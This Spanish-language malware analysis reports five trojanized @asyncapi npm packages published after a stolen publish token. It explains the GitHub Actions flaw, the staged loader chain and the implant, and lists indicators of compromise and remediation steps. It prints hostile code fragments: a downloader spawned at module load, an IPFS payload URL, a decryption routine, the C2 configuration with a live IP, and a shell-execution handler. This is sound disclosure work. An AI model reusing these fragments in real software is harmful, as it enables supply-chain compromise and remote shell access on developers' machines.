Hemos identificado cinco paquetes troyanizados @asyncapi paquetes publicados el 14-07-2026. El atacante robó un token de publicación de npm explotando una pull_request_target vulnerabilidad de workflow en el repositorio del generador de AsyncAPI, luego inyectó un descargador ofuscado en módulos de runtime normales en cuatro paquetes. La importación de cualquiera de los paquetes afectados obtiene un cargador de Node.js cifrado de IPFS, lo escribe en disco como sync.js, y lo inicia como un proceso desvinculado.
La cadena termina en un implante persistente con un shell remoto real. El framework de payload se autoidentifica como M-RED-TEAM v6.4 en sus propios comentarios de código. La recolección de credenciales y la autopropagación están presentes en el código, pero deshabilitadas en esta compilación. El shell es suficiente para que el operador recopile datos y ejecute comandos arbitrarios sin esas características.
Los paquetes combinados registran aproximadamente 2.9 millones de descargas semanales, con @asyncapi/specs solo representando alrededor de 2.7 millones.
Cómo el atacante obtuvo acceso de publicación
El asyncapi/generator repositorio utilizó un workflow de GitHub Actions con un pull_request_target disparador. Este disparador se ejecuta con acceso a los secretos del repositorio incluso cuando el flujo de trabajo extrae código de una solicitud de extracción externa, un riesgo de seguridad conocido.
Un colaborador identificó la vulnerabilidad y abrió un PR de corrección (#2092) el 17 de mayo. Casi dos meses después, cuando ocurrió el ataque, aún no se había fusionado.
El 14 de julio a las 05:08 UTC, el atacante abrió 37 solicitudes de extracción contra el repositorio del generador. Una de ellas, PR #2155, contenía JavaScript ofuscado que exfiltró el token de publicación de npm a rentry[.]co. El flujo de trabajo se completó a las 05:16 UTC. Con el token en mano, el atacante subió commits maliciosos a la rama siguiente a las 06:58 UTC y publicó los primeros paquetes comprometidos a las 07:10 UTC. Luego se dirigieron a asyncapi/spec-json-schemas, subiendo 11 commits entre las 07:51 y las 08:28 UTC para publicar las versiones de las especificaciones.
Atribución
El ataque implica tres señales superpuestas que no apuntan todas al mismo lugar.
La técnica de acceso inicial (una avalancha de PR dirigida a un flujo de trabajo pull_request_target con un punto de entrega (dead-drop) en rentry[.]co) coincide con patrones de la campaña prt-scan observados previamente en ataques similares de robo de secretos en GitHub Actions.
El framework del payload se autoidentifica como M-RED-TEAM v6.4 en los comentarios del código a lo largo de la fuente recuperada de la etapa 3. Esa es la etiqueta más directa que el propio código se atribuye.
Los nombres de los artefactos y la configuración utilizan la marca Miasma: el objetivo de compilación es miasma-train-p1, el bloqueo de tiempo de ejecución y las rutas de identidad se encuentran bajo ~/.config/.miasma/, los artefactos de persistencia se denominan miasma-monitor, y los certificados de generación utilizan la cadena de formato miasma-spawn-cert-v1. el toolkit Miasma anterior, aunque un investigador de SafeDep señaló que los payloads difieren: la compilación anterior se basaba en Bun con RSA/AES-CBC, propagación activa y un 'deadman' destructivo; esta se basa en Node con secp256k1/AES-GCM, C2 HTTP, y esas características desactivadas.
No podemos determinar a partir de la evidencia si el acceso inicial de prt-scan y el payload M-RED-TEAM representan a un único operador o a partes separadas. La marca Miasma puede reflejar la reutilización de código, la imitación o un etiquetado erróneo deliberado. Aquí no se realiza una atribución definitiva.
Cinco paquetes de runtime contenían la primera etapa
Las versiones comprometidas:
@asyncapi/specs@6.11.2@asyncapi/specs@6.11.2-alpha.1@asyncapi/generator@3.3.1@asyncapi/generator-helpers@1.1.1@asyncapi/generator-components@0.7.1
El código malicioso no se encuentra en un npm lifecycle hook. Se ubicó en módulos que se ejecutan durante el uso normal: el specs punto de entrada, un generator validador, una utilidad de ayuda y un módulo de gestión de errores de componentes. La carga útil se ejecuta cuando el módulo se carga, por lo que un simple require() es suficiente para activarlo.
En @asyncapi/specs, el descargador se antepone a las exportaciones del esquema real:
import { spawn } from 'child_process';
// fs, path, https, os imported above
async function main() {
try {
const child = spawn(
'node',
[
'-e',
`/* obfuscated downloader, ~3 KB, elided */`,
],
{
detached: true,
stdio: 'ignore',
windowsHide: true,
}
);
child.unref();
} catch (error) {
console.error(error.message);
}
}
main();
module.exports = {
schemas: {
'2.0.0': require('./schemas/2.0.0.json'),
// ...through 3.1.0
},
};El descargador se ejecuta en un proceso hijo separado. Después de llamar a child.unref(), el proceso padre finaliza inmediatamente y la descarga continúa en segundo plano.
El node -e La carga útil está ofuscada, pero su tabla de búsqueda de cadenas contiene la URL de IPFS y el nombre de archivo de descarga en texto plano:
// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']La rama de specs obtiene el CID Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. La rama generator-family obtiene QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Ambos escriben sync.js en un directorio de datos de NodeJS por usuario: ~/Library/Application Support/NodeJS en macOS, %LOCALAPPDATA%\NodeJS en Windows, ~/.local/share/NodeJS en Linux.
Fase 2: cargadores cifrados desde IPFS
Los dos objetos IPFS son cargadores JavaScript ofuscados: 8.243.380 bytes (especificaciones) y 8.254.481 bytes (familia de generadores). Cada uno deriva una clave AES-256-GCM mediante HKDF-SHA256, descifra una bóveda incrustada, revierte una rotación ASCII imprimible y evalúa el resultado. Hemos extraído la lógica en un descifrador no ejecutable:
const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
'rt-vault-master-key-32b-aaaaaaaa',
'utf8'
); // 32 bytes
function gcmDecrypt(buf, key) {
const iv = buf.slice(0, 12);
const tag = buf.slice(buf.length - 16);
const ct = buf.slice(12, buf.length - 16);
const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
d.setAuthTag(tag);
return Buffer.concat([d.update(ct), d.final()]);
}
// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
'sha256',
Buffer.from(_km, 'utf8'),
Buffer.alloc(0),
Buffer.from('rt-file-key', 'utf8'),
32
);
const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');
// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;
const stage3 = [...rotSrc]
.map((ch) => {
const c = ch.charCodeAt(0);
return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
? String.fromCharCode(
ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
)
: ch;
})
.join('');Las etiquetas de autenticación GCM se validan para ambas compilaciones. Cada cargador también contiene un sourceBundle campo cifrado con la misma clave; coincide byte a byte con el archivo recuperado de la fase 3. La configuración precompilada utiliza una clave separada derivada de rt-baked-key y el mismo maestro codificado.
Los dos archivos recuperados de la fase 3:
- Compilación de especificaciones: 3.088.921 bytes, SHA-256
f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b - Compilación de la familia de generadores: 3.093.085 bytes, SHA-256
9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a
La compilación de la familia de generadores añade una diferencia de comportamiento: un temporizador que vuelve a comprobar el C2 principal después de un failover y vuelve a él cuando se recupera. Otras diferencias son declaraciones de código basura generadas.
Ambas compilaciones incluyen una cadena de generación secp256k1 de dos certificados. Ambas firmas se verifican. La cadena no impide que esta semilla se ejecute.
Campos de configuración engañosos
Los informes iniciales caracterizaron esto como un "canario seguro" basándose en los valores de los campos de configuración. La configuración precompilada que recuperamos:
{
"config": {
"safeMode": true,
"c2Server": "http://85.137.53.71:8080",
"shellBlacklist": ["killall"],
"batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
},
"target": { "name": "miasma-train-p1", "ecosystem": "npm" },
"actualPersist": false,
"testMode": false,
"toggles": {
"recon": false,
"persist": true,
"propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
"evasion": false,
"metamorphic": false
}
}Ninguno de los tres valores de campo se mantiene bajo el análisis del grafo de llamadas:
safeMode: true: el punto de entrada pasa la configuración directamente a la función de arranque y nunca llama a lasafeModevalidador.actualPersist: false: la función de arranque leetoggles.persist, noactualPersist.toggles.persistestrue. La persistencia se ejecuta.canaryPercent: 5: elBatchDispatchcomando no está implementado y ninguna ruta de selección de víctimas lee este campo. No tiene efecto.
Qué hace el implante
En la primera ejecución, la carga útil genera un par de claves secp256k1 y lo almacena en una ruta específica de la plataforma, disfrazado como un archivo de caché del sistema. Utiliza ~/.config/.miasma/run/node.lock para evitar instancias duplicadas.
Persistencia por plataforma:
- macOS: añade un
nohupbloque a.zshrc,.bashrc, o.bash_profile - Windows: escribe HKCU
Ejecutavalormiasma-monitor - Linux: escribe
~/.config/systemd/user/miasma-monitor.servicey lo habilita. ElExecStartfalta un wrapper de shell, por lo que es probable que la unidad no se inicie, pero los archivos se escriben.
El implante envía balizas a hxxp://85[.]137[.]53[.]71:8080 aproximadamente cada 30 segundos. Las balizas están firmadas y cifradas con la clave pública del atacante. Incluso con recon desactivado, cada baliza incluye vistas previas redactadas de RUTA, HOME, USUARIO, y HOSTNAME, y comprueba la presencia de archivos de configuración de Cursor, Claude y VS Code en /app.
Los comandos se entregan normalmente en un sobre cifrado. Cuando no hay un paquete cifrado presente, el manejador recurre a un texto plano comandos array:
async dispatchResponseCommands(resp) {
let commands = [];
if (
this.commandCipher &&
resp.encryptedCommands &&
resp.encryptedCommands.length > 0
) {
for (const env of resp.encryptedCommands) {
try {
commands.push(this.commandCipher.decryptCommand(env));
} catch (e) {
this.sinkError(e);
}
}
} else {
// plaintext fallback, active when cipher absent
commands = resp.commands;
}
for (const cmd of commands) {
await this.handler(cmd);
}
}Dado que el C2 es HTTP, un atacante en la ruta puede inyectar comandos a través de esta ruta.
Comando 11 (ShellExec) pasa la solicitud a child_process.exec(). El único comando en la lista negra es killall:
ShellExecutorImpl = class {
constructor(cfg, runner) {
this.blacklist = new Set(
cfg.shellBlacklist
.map(normalizeCmd)
.filter((b) => b.length > 0)
); // shipped config: ["killall"]
this.runner = runner ?? new ExecFileRunner();
}
async exec(req) {
if (!this.isAllowed(req.command)) {
return {
exitCode: 126,
stdout: '',
stderr: '',
}; // DENIED
}
// testMode is false in this seed, so the real shell runs
return new Promise((resolve) => {
import_node_child_process.exec(
[req.command, ...req.args].join(' '),
{
cwd: req.cwd,
timeout: timeoutMs,
maxBuffer: 1 << 20,
windowsHide: true,
},
(err, stdout, stderr) =>
resolve({
exitCode: err?.code ?? 0,
stdout,
stderr,
})
);
});
}
};Los comandos de archivo (list, get, put) están en un sandbox en una ruta codificada /sim-fs ruta. El comando de eliminación no está implementado. El shell no tiene tal restricción.
Las actualizaciones de la carga útil provienen de dos fuentes: un comando del operador que proporciona un nuevo CID, o un bucle de sondeo de dos minutos que verifica Nostr y Ethereum en busca de una versión superior. Las actualizaciones de Nostr se verifican mediante firma. Los registros de Ethereum se aceptan sin verificación de firma (trustUnsignedBlockchain: true). Una actualización obtenida se escribe en el disco como un archivo aleatorio .bin/.cache/.dat , se lanza con Node y se le permite reemplazar el proceso actual.
Lo que está en el código pero no activo
El paquete contiene un recolector de credenciales completo que cubre credenciales de cloud, tokens de gestores de paquetes, claves SSH/GPG, historiales de shell, navegadores, sistemas CI/CD, herramientas de desarrollo de IA, bases de datos, carteras, contenedores y gestores de contraseñas. Puede descargar Gitleaks y HackBrowserData para facilitar la recopilación. Nada de esto se ejecuta porque toggles.recon es falso; el recolector sale antes de recopilar nada. La shell puede lograr el mismo resultado manualmente.
Los vectores de propagación para npm, PyPI y Cargo están presentes e implementados. Todos los conmutadores de propagación están en falso, la única trySpread() llamada está protegida por el modo persistente (que retorna antes de alcanzarla), y el Propagar comando no está implementado. No se produce ninguna propagación.
El motor de mutación, las comprobaciones de evasión, el envenenamiento de herramientas de IA y el interruptor de hombre muerto están todos desactivados. La implementación de borrado escribe un archivo marcador en ~/Documents/SIMULATION_WIPE_TRIGGERED.txt en lugar de eliminar nada.
C2 e infraestructura de soporte
HTTP en el puerto 8080 es el único canal real de baliza y comando. Los otros protocolos tienen roles más específicos:
- Nostr: entrega actualizaciones de direcciones, registros de actualización de carga útil firmados y multi-direcciones de pares
- Ethereum: proporciona direcciones de servicio de solo lectura y registros de actualización
- IPFS: aloja objetos de carga útil y datos cifrados
- libp2p / BitTorrent DHT / mDNS: descubrimiento de pares y gossip; sin tráfico de comandos o balizas
Varios métodos genéricos de carga y comando en los transportes de nivel inferior son operaciones nulas (no-ops) en esta compilación.
Indicadores de compromiso
Paquetes
Versión del paquete SHA-256@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab
Red
- C2:
85[.]137[.]53[.]71:8080, carga::8081, gestión de proxy::8091 - Bloque RIPE
85.137.53.0/24, objetoVSYS-AMS, AS43641 - Contrato de Ethereum
0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, ID de cadena 1 - Relés de Nostr:
wss://relay.damus.io,wss://relay.nostr.com/ - Bootstrap DHT:
router.bittorrent.com:6881,dht.transmissionbt.com:6881
Host
- Descartar:
sync.jsen el directorio de datos de NodeJS por usuario (rutas anteriores) - Bloquear:
~/.config/.miasma/run/node.lock - Identidad de macOS:
~/Library/Application Support/com.apple.spotlight/index-v2.cache - Identidad de Linux:
~/.cache/mesa_shader_cache/gl_cache.bin - Identidad de Windows:
%HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat - Persistencia de Linux:
~/.config/systemd/user/miasma-monitor.service - Valor de ejecución de Windows:
miasma-monitor
Cripto
- Clave pública secp256k1 del atacante:
0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e
¿Qué hacer ahora?
Revertir a @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, y @asyncapi/generator-components@0.7.0. Elimine las cinco versiones comprometidas de los manifiestos, lockfiles, cachés, espejos internos e imágenes de compilación. Busque sistemas que importaron los módulos afectados, no solo los sistemas donde se instaló el paquete, ya que el implante se ejecuta en require().
En cualquier host sospechoso: aísle y preserve primero el estado volátil. Busque las rutas de drop, lock, identidad y persistencia enumeradas anteriormente, y procesos Node desvinculados inusuales. Verifique las conexiones a los puertos C2 y la actividad de Node correlacionada con IPFS, Nostr, Ethereum RPC, DHT o mDNS.
Trate las credenciales disponibles para una máquina de desarrollador o host de compilación afectado como potencialmente expuestas a través de comandos de shell. Rote los tokens de npm, el acceso al control de código fuente, las credenciales de cloud, los secretos de CI/CD, las claves SSH, las claves de firma y las sesiones del navegador desde una máquina limpia. Reconstruya los hosts comprometidos.
El @asyncapi/specs@6.11.2-alpha.1 El tarball sigue siendo descargable en su URL directa a pesar de estar ausente de los metadatos del registro. Debe ser purgado del almacenamiento de respaldo y de la CDN.
Cómo Aikido detecta esto
Si es usuario de Aikido, consulte su feed central y filtre por problemas de malware. Las cinco versiones comprometidas aparecen como un problema crítico de 100/100. Si aún no tiene una cuenta, cree una y conecte sus repositorios — la cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Aikido Device Protection le ofrece visibilidad sobre los paquetes instalados en los dispositivos de su equipo, incluyendo librerías, plugins de IDE y dependencias de compilación. Aikido Safe Chain (código abierto) se integra en su flujo de trabajo existente y verifica los paquetes con Aikido Intel antes de que npm, yarn o pnpm los instalen.

